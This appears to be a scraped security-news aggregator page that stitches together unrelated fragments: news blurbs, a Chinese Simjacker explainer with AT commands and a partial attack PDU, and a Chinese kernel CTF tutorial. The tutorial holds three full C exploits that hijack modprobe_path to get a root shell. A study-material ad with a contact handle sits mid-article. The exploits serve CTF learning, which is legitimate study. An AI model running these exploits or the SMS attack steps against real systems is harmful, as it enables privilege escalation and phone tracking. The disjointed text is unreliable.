Aggregator

前言本文我们通过我们的老朋友heap_bof来讲解Linux kernel中off-by-null的利用手法。在通过讲解另一道相对来说比较困难的kernel off-by-null +

该内容已被发布者删除

新年之际，白帽世界大会盛大开启，京东安全与你相约澳门共赴这场安全盛宴！

Миллионы пользователей стали мишенью невидимой рекламной ловушки.

A vulnerability was found in PHP 3.0/4.0 and classified as critical. Affected by this issue is some unknown functionality of the component Error Log Handler. The manipulation leads to format string. This vulnerability is handled as CVE-2000-0967. The attack may be launched remotely. Furthermore, there is an exploit available. This vulnerability has a historic impact due to its background and reception. It is recommended to upgrade the affected component.

Arctic Wolf and BlackBerry announced they have entered into a definitive agreement for Arctic Wolf to acquire BlackBerry’s Cylance endpoint security assets. Cylance is the pioneer of AI-based endpoint protection trusted by thousands of organizations around the world. With this acquisition, Arctic Wolf ushers in a new era of simplicity, flexibility, and outcomes to the endpoint security market, delivering the security operations results customers have been asking for. Under the terms of the agreement, BlackBerry … More →

The post Arctic Wolf acquires BlackBerry’s Cylance endpoint security assets appeared first on Help Net Security.

Kali Linux 2024.4 includes a broad set of updates and changes. The summary of the changelog since the 2024.3 release from September: Python 3.12 – New default Python version (Au revoir pip, hello pipx). The end of the i386 kernel and images – Farewell x86 (images), but not goodbye (packages). Deprecations in the SSH client: DSA keys – Reminder about using ssh1 if required. Raspberry Pi Imager customizations support: Able to alter settings at write … More →

The post Kali Linux 2024.4 released! 14 new shiny tools added appeared first on Help Net Security.

简介：

2019年9月12日，AdaptiveMobile Security公布了一种针对SIM卡S@TBrowser的远程攻击方式：Simjacker。攻击者使用普通手机发送特殊构造的短信即可远程定位目标，危害较大。sim卡的使用在手机上的使用非常普遍，所以一旦SIM卡上出现什么问题就会造成非常大的影响。在19年的报告纰漏中，在全球估算共有10亿设备的sim卡容易遭受SIM Jacker攻击，这篇也是比较浅显的对整个攻击进行分析。

1.一点点背景

在了解整个攻击前需要对整体的一个框架有所了解，现在我们就先来了解一下短信是如何去发送的。GSM的中文就是全球移动通信系统，是由欧洲电信标准组织ETSI 制定的一种数字制式的蜂窝移动通信系统。当初开发 GSM目的是让全球各地可以共同使用一个移动电话网络标准，让用户使用一部手机就能行遍全球，因此GSM 还有一个很接地气的俗称------全球通。

GSM与它以前的标准相比较而言最大的不同是它的信令和语音信道都是数字式的，因此GSM 被看作是第二代（2G）移动电话系统。 短信（Short MessageService，SMS）是基于 GSM（全球移动通信系统）网络标准的通信服务之一，SMS允许通过 GSM 网络发送和接收文本消息。现在来看看整个短信的发送流程。

这里面中最主要涉及到了三个很重要的主体：发送者，短信中心，接收者。也就是我们的短信必须经过短信中心的转发才能到达接收者的SIM卡上。这里面也涉及到了很多基站的不同功能，比较完整的发送详细的可以看这个https://zhuanlan.zhihu.com/p/41439805。

以下是具体的步骤：

1. 发送者编辑短信，通过无线信号（SIM）将消息内容发送到基站

2. 基站收到消息内容经过一系列网元处理将其转发到运营商短信服务中心

3. 运营商短信服务中心经过一系列网元处理将数据转发到接收者附近的基站

4. 接收者附近的基站将短信内容发送到接收者

2.PDU模式短信的格式

GSM收发短消息又分三种模式：BLOCK 模式、TEXT 模式和PDU 模式。BLOCK模式现在用的很少了；TEXT 模式则只能发送ASCII码，它不能发送中文的UNICODE码（确切地讲，从技术上来说是可以用于发送中文短消息的，但是国内的手机基本上不支持）；而PDU模式开发起来则较为复杂，它需要编写专门的函数来将文本转换为PDU格式，但PDU模式被所有手机支持，可以使用任何字符集，它也是手机默认的编码方式。接下来我们来主要了解在这个模式下短信的格式。

以一个现实里的例子去讲解这个，这些是16进制的表示

0891683108200805F011190D91683188902848F40008FF108FD9662F4E0067616D4B8BD577ED4FE1

短信中心地址字段 0891683108200805F0

FirstOctet字段 11

消息参考值 19

接收者号码字段 0D91683188902848F4

协议标识 00

编码方法 08

有效期 FF

用户数据长度 F10

用户数据 8F......E1 短信中心地址字段

这个就是短信中心的地址，一般SIM卡都已经写好了，所以这里还有一个很常见的写法就是00，表示默认。08表示字节长度，9168表示的就是+86,表示的是在中国的号码，然后后面跟着号码。

FirstOctet字段

这个字段非常重要，涉及到许多设置，每一bit都有用处，先将十六进制下的11换成二进制的00010001，

我们从最低位开始，从右往左看

1. 首先我们看的就是01（对这俩位得连在一起看），这俩位表示的是这个短信的类型，最常见的有俩种SMS-SUBMIT、SMS-DELIVER。SMS-SUBMIT表示移动终端设备发送到短信中心，SMS-DELIVER表示短信中心发送到移动终端设备，对应的分别是01和00，这里是01，表示就是这是一条发送者的短信

2. 接下来就是第2位0，表示是否要接收重复的消息

3. 然后是10，这里表示了短信有效期的形式，10表示使用的相对时间，这也是常用的设置

4. 然后就是第5位啦，这是一个非常有意思的参数，返回短信状态报告。用通俗的话讲就是告诉发送者接收者是否已经接收到了短信，这里面所蕴含的信息在USENIX23上被用来实现了定位

5. 然后第6位就是用户数据头标示，当它等于0的时候就是表明这是一个短信消息，如果是一个OTA消息呢，比如SIM

   jacker,就得设置为1

6. 第7位是设置回复路径，每个SIM卡都设置了一个短信中心的号码，如果设置为0，那么接收者接回复短信时用的也是发送者的短信中心；如果这个是1，那么接收者将使用自己的短信中心

用一下别人的表，大家可以来对照一下：

消息参考值

这个值有点像ID,范围是0~255，如果一个短信被分成了多片，短信中心可以依据这个值将其进行组合

目标地址

这个同短信中心的设置，不过这里的0D表示的数字的长度，表示有几个数字

协议标识符

它是表明一条短信的用途或协议，它不仅用于传统的短信传输，也用于传输其他类型的信息，如传真、电子邮件或无线应用协议（WAP）消息。00表示的没有什么特殊的协议，静默短信的设置也涉及到这个，需要将这个修改成40，这个静默短信发送给接收者是完全没有任何提示的

数据编码方案

指明这个pdu的编码方式是什么，PDU收发短信有三种编码可用：7-bit、8-bit和UCS2编码，00为7Bit编码，04是8bit,08是UCS2编码，到后面的可以表达的内容更多，7bit简单的英文到UCS2编码可以发送中文。

帮助网安学习，以下所有学习资料免费领！领取资料加 we~@x：dctintin，备注 “安全脉搏” 获取！】

① 网安学习成长路径思维导图
② 60 + 网安经典常用工具包
③ 100+SRC 漏洞分析报告
④ 150 + 网安攻防实战技术电子书
⑤ 最权威 CISSP 认证考试指南 + 题库
⑥ 超 1800 页 CTF 实战技巧手册
⑦ 最新网安大厂面试题合集（含答案）
⑧ APP 客户端安全检测指南（安卓 + IOS）

有效期

这里根据前面常见的设置就是相对有效期，FF表示最大30天，00最小5分钟

用户数据长度

后面跟着的数据的长度

3.一点点实验

了解到了一个PDU模型，短信的格式，一个标准的pdu可以直接用在线的网站进行生成，http://www.sendsms.cn/pdu/，大部分格式限定后，就可以修改部分设置

现在pdu格式有了，该如何发呢，这种最简单的情况就是去网上买个GSM模块，插上一张可以收发短信的SIM卡就可以直接用了，但考虑到大家只是简单了解一下，也不一定非得买个专门的设备，所以我们这里使用一个大家肯定都有的设备的，一台root过的手机。我使用的是魅族m3note，比较好root，大家也可以试试。

首先先接入adb进行调试，已经确定获得了root权限

因为安卓为linux系统修改的，所以一切皆文件，插入的sim卡也会被映射成一个文件，可以进行操作

一个示例如下

现在我们需要找到插入SIM卡之后的对应的文件，最简单的方式就是对比插入前后的对比找到

查看/proc/devices ,不过并没有变化,这里判断应该是准备着有接口，已经存在。

使用demsg,但是因为数据线处于连接状态充电，会有很多杂乱信息，而且魅族上使用的也不是smd* ，这里也可以尝试一个一个去找，但也会有很多问题。

这里找到一个比较好的办法，查看设备的radio日志

logcat -b radio | grep dev

先挂起日志监控，在插入SIM卡后，会输出大量信号，这里就成功定位到了SIM卡所映射的设备

因为每个设备对换行的接收不一样，所以建议几种方式一起去试，一个例子如下：

echo -e "AT+COPS?" > /dev/pts/4\echo -e "AT+COPS?\r" > /dev/pts/4\echo -e "AT+COPS?\r\n" > /dev/pts/4\echo -e "AT+COPS?\n" > /dev/pts/4\echo -e "AT+COPS?;" > /dev/pts/4\echo -e "AT+COPS?;\r" > /dev/pts/4\echo -e "AT+COPS?;\r\n" > /dev/pts/4\echo -e "AT+COPS?;\n" > /dev/pts/4

之后逐一筛选，选择合适的结尾，这里是\n

然后发送一条短信试试

echo -e "AT+CMGF=0\n" > /dev/pts/4 # PDU模式\echo -e "AT+CMGS=20\n" > /dev/pts/4 # 字符长度\echo -e "0031000D9168xxxxxxxxxxxx00000005E8329BFD0632\n" >/dev/pts/4

之后就可以在接收者那收到短信，32 对应ctrl\^z,是发完短信的结束符，不算入总长度

4.SIM Jacker

了解完前面三个部分，大家有了一些基本的了解，接下来我们就来看看SIMJacker这个攻击，一些具体的影响后果啥的就不去细究了，主要还是了解背后的一些原理。

（1）OTA消息

OTA 消息，也称为二进制消息，是包含一组(U)SIM 应用程序工具包(USAT)命令的特定 APDU 消息，这些消息针对 SIM卡内的特定应用程序，而这些应用程序又执行消息本身提供的USAT命令，这些命令包括：设置呼叫、发送短信、更新SIM 信息、编辑 SIM 文件等。

OTA 消息通常设计为从运营商发送到用户，服务提供商可以引入新的 SIM服务、修改 SIM的内容、执行软件更新、配置设置，甚至更新移动设备的加密密钥。

正是因为这一特性的存在导致了SIMJacker的发生，也就是OTA消息也可以由一个用户发送，而非短信中心。

SIM Jacker发生的条件主要有三个：

1. 短信中心可以接受并转发PDU消息

2. 接收者能够解析SIM应用工具包命令的PDU消息

3. SIM上部署了S@T浏览器技术，并且设置了"不应用任何安全措施"的最低安全级别

其他的一些条件，比如主动 UICC 命令等这些都是默认开启的，这里就不在提及。

让我在回到PDU模式短信那块，在FirstOctet字段中有一位可以将普通的用户数据，变成对SIM卡特定应用的程序的执行命令，就是要将第6位的用户数据头标示设置成1。也有很多是SIMjacker的攻击中的PDU是0041开头的。

先用一张图开始：

前面的部分和之前一样，主要来解释一下后面的UD部分：

1. 先开始的是用户数据头，包含了俩部分

   一个是是用户数据头的字节长度，另一个是用户数据头的设置，可以设置是否包含安全头。

2. 命令包包含有关消息安全性、消息发往哪个应用程序以及我们想要执行的实际命令是什么等非常重要的信息。

3. 命令包长度是整个命令包的字节长度：

4. 命令头长度是命令头的字节长度：

5. 命令头由6 个不同的值组成：

安全参数指示符（SPI）指定是否对消息应用任何安全性，在SIMjacker中要将SPI设置如下：SPI = 0x0000

加密密钥标识符（KIC）所使用的加密类型，我们将其设置为：KIC = 0x00

密钥标识符 (KID)指定用于加密的密钥，我们将其设置为：KID = 0x00

目标应用程序参考 (TAR)标识了我们将向其发送消息的 SIM卡上的应用程序，我们将其设置为S@T 浏览器：

TAR = 0x505348

计数器和填充计数器 (CNTR & PCNTR)，这些值的设置如下：CNTR =0x0000000000PCNTR= 0x00

1. 安全数据（S@T/STK 命令）（关键）

这是有效载荷中最重要的部分，它包含我们希望S@T浏览器应用程序代表我们执行的命令。这些命令是使用STK字节码构建的，例如，它可以用于设置呼叫和发送短信。

（2）示例分析

一个具体的例子就在下面

AT+CMGF=0\AT+CMGS=69\>0041000B910516325476F87FF6XX027000YYYY0D0000000050534800000000000042230121...2D0C100383...2B00(CTRL + Z)

将这些结构对应回图上，

现在检测或者进行的SIM jacker的工具已经有了，大家拿一个SIMTester和一个读卡器就可以了，不过国内的SIM卡没有这方面的攻击案例，自己测试也没有找到这方面的案例。

  

2019年9月12日，AdaptiveMobile Security公布了一种针对SIM卡S@TBrowser的远程攻击方式：Simjacker。攻击者使用普通手机发送特殊构造的短信即

前言

本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path（虽然在高版本内核已经不可用了但ctf比赛还是比较常用的）。再通过两道近期比赛的赛题来讲解。

Arbitrary Address Allocation 利用思路

通过 uaf 修改 object 的 free list 指针实现任意地址分配。与 glibc 不同的是，内核的 slub 堆管理器缺少检查，因此对要分配的目标地址要求不高，不过有一点需要注意：当我们分配到目标地址时会把目标地址前 8 字节的数据会被写入 freelist，而这通常并非一个有效的地址，从而导致 kernel panic，因此在任意地址分配时最好确保目标 object 的 free list 字段为 NULL 。

当能够任意地址分配的时候，与 glibc 改 hook 类似，在内核中通常修改的是 modprobe_path 。modprobe_path 是内核中的一个变量，其值为 /sbin/modprobe ，因此对于缺少符号的内核文件可以通过搜索 /sbin/modprobe 字符串的方式定位这个变量。

当我们尝试去执行（execve）一个非法的文件（file magic not found），内核会经历如下调用链：

entry_SYSCALL_64()
   sys_execve()
       do_execve()
           do_execveat_common()
               bprm_execve()
                   exec_binprm()
                       search_binary_handler()
                           __request_module() // wrapped as request_module
                               call_modprobe()

其中 call_modprobe() 定义于 kernel/kmod.c，我们主要关注这部分代码：

static int call_modprobe(char *module_name, int wait)
{
   //...
   argv[0] = modprobe_path;
   argv[1] = "-q";
   argv[2] = "--";
   argv[3] = module_name;  /* check free_modprobe_argv() */
   argv[4] = NULL;

   info = call_usermodehelper_setup(modprobe_path, argv, envp, GFP_KERNEL,
                    NULL, free_modprobe_argv, NULL);
   if (!info)
       goto free_module_name;

   return call_usermodehelper_exec(info, wait | UMH_KILLABLE);
   //...

在这里调用了函数 call_usermodehelper_exec() 将 modprobe_path 作为可执行文件路径以 root 权限将其执行。 我们不难想到的是：若是我们能够劫持 modprobe_path，将其改写为我们指定的恶意脚本的路径，随后我们再执行一个非法文件，内核将会以 root 权限执行我们的恶意脚本。

或者分析vmlinux即可(对于一些没有call_modprobe()符号的直接交叉引用即可)。

__int64 _request_module(
       char a1,
       __int64 a2,
       double a3,
       double a4,
       double a5,
       double a6,
       double a7,
       double a8,
       double a9,
       double a10,
       ...)
{
......
   if ( v19 )
   {
......
     v21 = call_usermodehelper_setup(
             (__int64)&byte_FFFFFFFF82444700, // modprobe_path
             (__int64)v18,
             (__int64)&off_FFFFFFFF82444620,
             3264,
             0LL,
             (__int64)free_modprobe_argv,
             0LL);
......
}
.data:FFFFFFFF82444700 byte_FFFFFFFF82444700             ; DATA XREF: __request_module:loc_FFFFFFFF8108C6D8↑r
.data:FFFFFFFF82444700                 db 2Fh  ; /       ; __request_module+14B↑o ...                      
.data:FFFFFFFF82444701                 db  73h ; s
.data:FFFFFFFF82444702                 db  62h ; b
.data:FFFFFFFF82444703                 db  69h ; i
.data:FFFFFFFF82444704                 db  6Eh ; n
.data:FFFFFFFF82444705                 db  2Fh ; /
.data:FFFFFFFF82444706                 db  6Dh ; m
.data:FFFFFFFF82444707                 db  6Fh ; o
.data:FFFFFFFF82444708                 db  64h ; d
.data:FFFFFFFF82444709                 db  70h ; p
.data:FFFFFFFF8244470A                 db  72h ; r
.data:FFFFFFFF8244470B                 db  6Fh ; o
.data:FFFFFFFF8244470C                 db  62h ; b
.data:FFFFFFFF8244470D                 db  65h ; e
.data:FFFFFFFF8244470E                 db    0 exp #include "src/pwn_helper.h"

#define BOF_MALLOC 5
#define BOF_FREE 7
#define BOF_WRITE 8
#define BOF_READ 9

size_t modprobe_path = 0xFFFFFFFF81E48140;
size_t seq_ops_start = 0xffffffff81228d90;

struct param {
   size_t len;
   size_t *buf;
   long long idx;
};

void alloc_buf(int fd, struct param* p)
{
   printf("[+] kmalloc len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_MALLOC, p);
}

void free_buf(int fd, struct param* p)
{
   printf("[+] kfree len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_FREE, p);
}

void read_buf(int fd, struct param* p)
{
   printf("[+] copy_to_user len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_READ, p);
}

void write_buf(int fd, struct param* p)
{
   printf("[+] copy_from_user len:%lu idx:%lld\n", p->len, p->idx);
   ioctl(fd, BOF_WRITE, p);
}

int main()
{
   // len buf idx
   size_t* buf = malloc(0x500);
   struct param p = {0x20, buf, 0};

   printf("[+] user_buf : %p\n", p.buf);
   int bof_fd = open("/dev/bof", O_RDWR);
   if (bof_fd < 0) {
       puts(RED "[-] Failed to open bof." NONE);
       exit(-1);
   }

   printf(YELLOW "[*] try to leak kbase\n" NONE);

   alloc_buf(bof_fd, &p);
   free_buf(bof_fd, &p);

   int seq_fd = open("/proc/self/stat", O_RDONLY);
   read_buf(bof_fd, &p);
   qword_dump("leak seq_ops", buf, 0x20);

   size_t kernel_offset = buf[0] - seq_ops_start;
   printf(YELLOW "[*] kernel_offset %p\n" NONE, (void*)kernel_offset);
   modprobe_path += kernel_offset;
   printf(LIGHT_BLUE "[*] modprobe_path addr : %p\n" NONE, (void*)modprobe_path);
   
   p.len = 0xa8;
   alloc_buf(bof_fd, &p);
   free_buf(bof_fd, &p);

   read_buf(bof_fd, &p);

   buf[0] = modprobe_path - 0x20;

   write_buf(bof_fd, &p);

   alloc_buf(bof_fd, &p);
   alloc_buf(bof_fd, &p);

   read_buf(bof_fd, &p);
   qword_dump("leak modprobe_path", buf, 0x30);

   strcpy((char *) &buf[4], "/tmp/shell.sh\x00");
   write_buf(bof_fd, &p);
   read_buf(bof_fd, &p);
   qword_dump("leak modprobe_path", buf, 0x30);

   if (open("/shell.sh", O_RDWR) < 0) {
       system("echo '#!/bin/sh' >> /tmp/shell.sh");
       system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /tmp/shell.sh");
       system("chmod +x /tmp/shell.sh");
   }

   system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
   system("chmod +x /tmp/fake");
   system("/tmp/fake");

   return 0;
}

RWCTF2022 Digging into kernel 1 & 2 题目分析

start.sh

#!/bin/sh

qemu-system-x86_64 \
   -kernel bzImage \
   -initrd rootfs.img \
   -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet noapic kalsr" \
   -cpu kvm64,+smep,+smap \
   -monitor null \
   --nographic \
   -s

逆向分析

int __cdecl xkmod_init()
{
 kmem_cache *v0; // rax

 printk(&unk_1E4);
 misc_register(&xkmod_device);
 v0 = (kmem_cache *)kmem_cache_create("lalala", 192LL, 0LL, 0LL, 0LL);
 buf = 0LL;
 s = v0;
 return 0;
} int __fastcall xkmod_release(inode *inode, file *file)
{
 return kmem_cache_free(s, buf); // maybe double free
} void __fastcall xkmod_ioctl(__int64 a1, int a2, __int64 a3)
{
 __int64 data; // [rsp+0h] [rbp-20h] BYREF
 unsigned int idx; // [rsp+8h] [rbp-18h]
 unsigned int size; // [rsp+Ch] [rbp-14h]
 unsigned __int64 v6; // [rsp+10h] [rbp-10h]
                                               // v3 __ : 0x8 rsp + 0x0
                                               // v4 __ : 0x4 rsp + 0x8
                                               // v5 __ : 0x4 rsp + 0xc
 v6 = __readgsqword(0x28u);
 if ( a3 )
 {
   copy_from_user(&data, a3, 0x10LL);
   if ( a2 == 0x6666666 )
   {
     if ( buf && size <= 0x50 && idx <= 0x70 )
     {
       copy_from_user((char *)buf + (int)idx, data, (int)size);
       return;
     }
   }
   else
   {
     if ( a2 != 0x7777777 )
     {
       if ( a2 == 0x1111111 )
         buf = (void *)kmem_cache_alloc(s, 0xCC0LL);
       return;
     }
     if ( buf && size <= 0x50 && idx <= 0x70 )
     {
       ((void (__fastcall *)(__int64, char *, int))copy_to_user)(data, (char *)buf + (int)idx, size);
       return;
     }
   }
   xkmod_ioctl_cold();
 }
} 利用思路

关于内核基址获取，在内核堆基址（page_offset_base） + 0x9d000 处存放着 secondary_startup_64 函数的地址，而我们可以从 free object 的 next 指针获得一个堆上地址，从而去找堆的基址，之后分配到一个堆基址 + 0x9d000 处的 object 以泄露内核基址，这个地址前面刚好有一片为 NULL 的区域方便我们分配。

#define __PAGE_OFFSET           page_offset_base
#define PAGE_OFFSET    ((unsigned long)__PAGE_OFFSET)
#define __va(x)        ((void *)((unsigned long)(x)+PAGE_OFFSET))

   /* Must be perfomed *after* relocation. */
   trampoline_header = (struct trampoline_header *)
       __va(real_mode_header->trampoline_header);
   ...
   trampoline_header->start = (u64) secondary_startup_64;
[......]
// vmlinux 查找 secondary_startup_64 基址
.text:FFFFFFFF81000030 ; void secondary_startup_64()
[......]
pwndbg>x/40gx (0xffff9f5d40000000+0x9d000-0x20
0xffff9f5d4009cfe0: 0X0000000000000000 0X0000000000000000
0xffff9f5d4009cff0: 0X0000000000000000 0X0000000005c0c067
0xffff9f5d4009d000: 0xffffffff97c00030 0X0000000000000901
0xffff9f5d4009d010: 0X00000000000006b0 0X0000000000000000
0xffff9f5d4009d020: 0X0000000000000000 0X0000000000000000

至于 page_offset_base 可以通过 object 上的 free list 泄露的堆地址与上 0xFFFFFFFFF0000000 获取。不同版本可查看vmmap。

exp #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>

size_t modprobe_path = 0xFFFFFFFF82444700;

void qword_dump(char *desc, void *addr, int len)
{
   uint64_t *buf64 = (uint64_t *) addr;
   uint8_t *buf8 = (uint8_t *) addr;
   if (desc != NULL) {
       printf("[*] %s:\n", desc);
   }
   for (int i = 0; i < len / 8; i += 4) {
       printf("  %04x", i * 8);
       for (int j = 0; j < 4; j++) {
           i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
       }
       printf("   ");
       for (int j = 0; j < 32 && j + i * 8 < len; j++) {
           printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
       }
       puts("");
   }
}

struct Data {
   size_t *buf;
   u_int32_t offset;
   u_int32_t size;
};

void alloc_buf(int fd, struct Data *data)
{
   ioctl(fd, 0x1111111, data);
}

void write_buf(int fd, struct Data *data)
{
   ioctl(fd, 0x6666666, data);
}

void read_buf(int fd, struct Data *data)
{
   ioctl(fd, 0x7777777, data);
}

int main()
{
   int xkmod_fd[5];
   for (int i = 0; i < 5; i++) {
       xkmod_fd[i] = open("/dev/xkmod", O_RDONLY);
       if (xkmod_fd[i] < 0) {
           printf("[-] %d Failed to open xkmod.", i);
           exit(-1);
       }
   }

   struct Data data = {malloc(0x1000), 0, 0x50};
   alloc_buf(xkmod_fd[0], &data);
   close(xkmod_fd[0]);

   read_buf(xkmod_fd[1], &data);
   qword_dump("buf", data.buf, 0x50);

   size_t page_offset_base = data.buf[0] & 0xFFFFFFFFF0000000;
   printf("[+] page_offset_base: %p\n", page_offset_base);

   data.buf[0] = page_offset_base + 0x9d000 - 0x10;
   write_buf(xkmod_fd[1], &data);
   alloc_buf(xkmod_fd[1], &data);
   alloc_buf(xkmod_fd[1], &data);

   data.size = 0x50;
   read_buf(xkmod_fd[1], &data);
   qword_dump("buf", data.buf, 0x50);
   
   size_t kernel_offset = data.buf[2] - 0xffffffff81000030;
   printf("kernel offset: %p\n", kernel_offset);
   modprobe_path += kernel_offset;

   close(xkmod_fd[1]);
   data.buf[0] = modprobe_path - 0x10;
   write_buf(xkmod_fd[2], &data);
   alloc_buf(xkmod_fd[2], &data);
   alloc_buf(xkmod_fd[2], &data);
   strcpy((char *) &data.buf[2], "/home/shell.sh");
   write_buf(xkmod_fd[2], &data);

   if (open("/home/shell.sh", O_RDWR) < 0) {
       system("echo '#!/bin/sh' >> /home/shell.sh");
       system("echo 'setsid cttyhack setuidgid 0 sh' >> /home/shell.sh");
       system("chmod +x /home/shell.sh");
   }

   system("echo -e '\\xff\\xff\\xff\\xff' > /home/fake");
   system("chmod +x /home/fake");
   system("/home/fake");

   return 0;
} WDB2024 PWN03 利用思路

基本上和RWCTF2022 Digging into kernel 1 & 2是一样的，这道题大家拿去练手即可，建议大家自行分析题目，我只把我的exp贴在下面，但是建议大家自己写一个exp。

exp #ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <asm/ldt.h>
#include <assert.h>
#include <ctype.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <semaphore.h>
#include <signal.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/sem.h>
#include <sys/shm.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/io.h>

size_t modprobe_path = 0xFFFFFFFF81E58B80;

void qword_dump(char *desc, void *addr, int len)
{
   uint64_t *buf64 = (uint64_t *) addr;
   uint8_t *buf8 = (uint8_t *) addr;
   if (desc != NULL) {
       printf("[*] %s:\n", desc);
   }
   for (int i = 0; i < len / 8; i += 4) {
       printf("  %04x", i * 8);
       for (int j = 0; j < 4; j++) {
           i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
       }
       printf("   ");
       for (int j = 0; j < 32 && j + i * 8 < len; j++) {
           printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
       }
       puts("");
   }
}

void alloc_buf(int fd, int size)
{
   printf("[+] kmalloc %d\n", size);
   ioctl(fd, 0x0, size);
}

void free_buf(int fd)
{
   printf("[+] kfree\n");
   ioctl(fd, 0x1, 0);
}

void read_buf(int fd, size_t* buf, int size)
{
   printf("[+] copy_to_user %d\n", size);
   read(fd, buf, size);
   qword_dump("read_buf", buf, size);
}

void write_buf(int fd, size_t* buf, int size)
{
   printf("[+] copy_from_user %d\n", size);
   qword_dump("write_buf", buf, size);
   write(fd, buf, size);
}

int main()
{
   size_t* buf = malloc(0x500);
   int easy_fd;
   easy_fd = open("/dev/easy", O_RDWR);

   alloc_buf(easy_fd, 0xa8);
   free_buf(easy_fd);

   read_buf(easy_fd, buf, 0xa8);

   size_t page_offset_base = buf[0] & 0xFFFFFFFFF0000000;
   printf("[*] page_offset_base %p\n", page_offset_base);

   buf[0] = page_offset_base + 0x9d000 - 0x10;
   write_buf(easy_fd, buf, 0x8);
   
   alloc_buf(easy_fd, 0xa8);
   alloc_buf(easy_fd, 0xa8);

   read_buf(easy_fd, buf, 0xa8);
   
   size_t kernel_offset = buf[2] - 0xFFFFFFFF81000110;
   printf("[*] kernel offset: %p\n", kernel_offset);
   modprobe_path += kernel_offset;

   buf[0] = modprobe_path - 0x20;
   alloc_buf(easy_fd, 0xa8);
   free_buf(easy_fd);

   write_buf(easy_fd, buf, 0x8);
   alloc_buf(easy_fd, 0xa8);
   alloc_buf(easy_fd, 0xa8);

   read_buf(easy_fd, buf, 0x20);
   strcpy((char *) &buf[4], "/shell.sh\x00");
   write_buf(easy_fd, buf, 0x30);

   if (open("/shell.sh", O_RDWR) < 0) {
       system("echo '#!/bin/sh' >> /shell.sh");
       system("echo 'setsid /bin/cttyhack setuidgid 0 /bin/sh' >> /shell.sh");
       system("chmod +x /shell.sh");
   }

   system("echo -e '\\xff\\xff\\xff\\xff' > /fake");
   system("chmod +x /fake");
   system("/fake");

   return 0;
}

   

前言本文我们通过我们的老朋友heap_bof来讲解Linux kernel中任意地址申请的其中一种比赛比较常用的利用手法modprobe_path（虽然在高版本内核已经不可用了但ctf

Bogus software update lures are being used by threat actors to deliver a new stealer malware called CoinLurker. "Written in Go, CoinLurker employs cutting-edge obfuscation and anti-analysis techniques, making it a highly effective tool in modern cyber attacks," Morphisec researcher Nadav Lorber said in a technical report published Monday. The attacks make use of fake update alerts that employ

Malvertising / CryptocurrencyBogus software update lures are being used by threat actors to delive

Red Teaming engagements are “realistic” attack simulations designed to test the security po

省流公告板：「拆獭计划」项目正式启动，即刻前往拆獭计划页面，参与设计方案的投票；前往会员社区共创频道发布你对共创产品的看法，我们也会根据产品设计的进度，不定期发出讨论话题和针对产品细节的投票。在今

Learn how to programmatically fetch and embed your liked Bluesky posts using authentication, API ca

Uploading and download files in web browser is a common task in virtually any web application or ser

和白泽ers一起去秋游吧~

秋韵悠长，星辉璀璨白泽小分队怀揣着对知识的渴望与对宇宙的向往踏上了前往上海天文馆的特色秋游之旅仰望星河浩瀚，脚踏实地前行我们抓住了秋天的尾巴于科学的无垠宇宙中沉浸2024年11月中旬，白泽小分队来到了